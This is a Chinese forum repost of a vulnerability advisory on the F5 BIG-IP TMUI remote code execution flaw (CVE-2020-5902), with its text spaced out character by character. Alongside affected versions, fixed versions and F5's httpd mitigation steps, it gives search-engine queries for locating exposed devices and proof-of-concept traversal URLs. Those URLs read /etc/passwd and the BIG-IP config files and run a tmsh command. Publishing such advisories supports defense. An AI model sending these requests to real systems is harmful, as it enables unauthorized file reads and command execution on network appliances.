搜索

[27343] 2020-07-06_F5BIG-IPTMUI（CVE-2020-5902）远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-19
2020-07-06_F5BIG-IPTMUI（CVE-2020-5902）远程代码执行漏洞 F 5   B I G - I P   T M U I   （ C V E - 2 0 2 0 - 5 9 0 2 ） 远 程 代 码 执 行 漏 洞 原 创   n e a r s e c   N e a r S e c   2 0 2 0 - 0 7 - 0 6 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 吧 关 注 我 们 吧 0 x 0 1   漏 洞 描 述 F 5   B I G - I P   是 美 国   F 5   公 司 的 一 款 集 成 了 网 络 流 量 管 理 、 应 用 程 序 安 全 管 理 、 负 载 均 衡 等 功 能 的 应 用 交 付 平 台 。 近 日 ， F 5 官 方 公 布 流 量 管 理 用 户 界 面 （ T M U I ） 配 置 实 用 程 序 的 特 定 页 面 中 存 在 一 处 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 0 - 5 9 0 2 ） 。 攻 击 者 利 用 该 漏 洞 可 构 造 恶 意 请 求 ， 实 现 远 程 代 码 执 行 。 0 x 0 2   漏 洞 复 现 搜 索 语 法 P O C 执 行 成 功 截 图 s h o d a n h t t p . f a v i c o n . h a s h : - 3 3 5 2 4 2 5 3 9 f o f a t i t l e = " B I G - I P & r e g ; -   R e d i r e c t " g o o g l e i n t i t l e : " B I G - I P "   i n u r l : " t m u i " h t t p s : / / t a r g e t / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e R e a d . j s p ? f i l e N a m e = / e t c / p a s s w d h t t p s : / / t a r g e t / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e R e a d . j s p ? f i l e N a m e = / e t c / h o s t s h t t p s : / / t a r g e t / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e R e a d . j s p ? f i l e N a m e = / c o n f i g / b i g i p . l i c e n s e h t t p s : / / t a r g e t / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / f i l e R e a d . j s p ? f i l e N a m e = / c o n f i g / b i g i p . c o n f h t t p s : / / t a r g e t / t m u i / l o g i n . j s p / . . ; / t m u i / l o c a l l b / w o r k s p a c e / t m s h C m d . j s p ? c o m m a n d = l i s t + a u t h + u s e r + a d m i n
0 x 0 3   影 响 版 本 0 x 0 4   修 复 方 案 升 级 到 以 下 版 本 官 方 建 议 可 以 通 过 以 下 步 骤 临 时 缓 解 影 响 1 )   使 用 以 下 命 令 登 录 对 应 系 统 2 )   编 辑   h t t p d   组 件 的 配 置 文 件 3 )   文 件 内 容 如 下 4 )   按 照 如 下 操 作 保 存 文 件 B I G - I P   1 5 . x :   1 5 . 1 . 0 / 1 5 . 0 . 0 B I G - I P   1 4 . x :   1 4 . 1 . 0   ~   1 4 . 1 . 2 B I G - I P   1 3 . x :   1 3 . 1 . 0   ~   1 3 . 1 . 3 B I G - I P   1 2 . x :   1 2 . 1 . 0   ~   1 2 . 1 . 5 B I G - I P   1 1 . x :   1 1 . 6 . 1   ~   1 1 . 6 . 5 B I G - I P   1 5 . x :   1 5 . 1 . 0 . 4 B I G - I P   1 4 . x :   1 4 . 1 . 2 . 6 B I G - I P   1 3 . x :   1 3 . 1 . 3 . 4 B I G - I P   1 2 . x :   1 2 . 1 . 5 . 2 B I G - I P   1 1 . x :   1 1 . 6 . 5 . 2 t m s h e d i t   / s y s   h t t p d   a l l - p r o p e r t i e s i n c l u d e   ' < L o c a t i o n M a t c h   " . * . . ; . * " > R e d i r e c t   4 0 4   / < / L o c a t i o n M a t c h > '
5 )   执 行 命 令 刷 新 配 置 文 件 6 )   重 启   h t t p d   服 务 建 议 同 时 禁 止 外 部 I P 对 于 T M U I 的 访 问 ， 或 只 允 许 管 理 人 员 在 安 全 网 络 环 境 下 访 问 来 缓 解 漏 洞 。 扫 码 关 注 最 新 分 享 搜 索 公 众 号 ： n e a r s e c 你 点 的 每 个 赞 ， 我 都 认 真 当 成 了 喜 欢 按 下   E S C   并 依 次 输 入 : w q s a v e   / s y s   c o n f i g r e s t a r t   s y s   s e r v i c e   h t t p d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理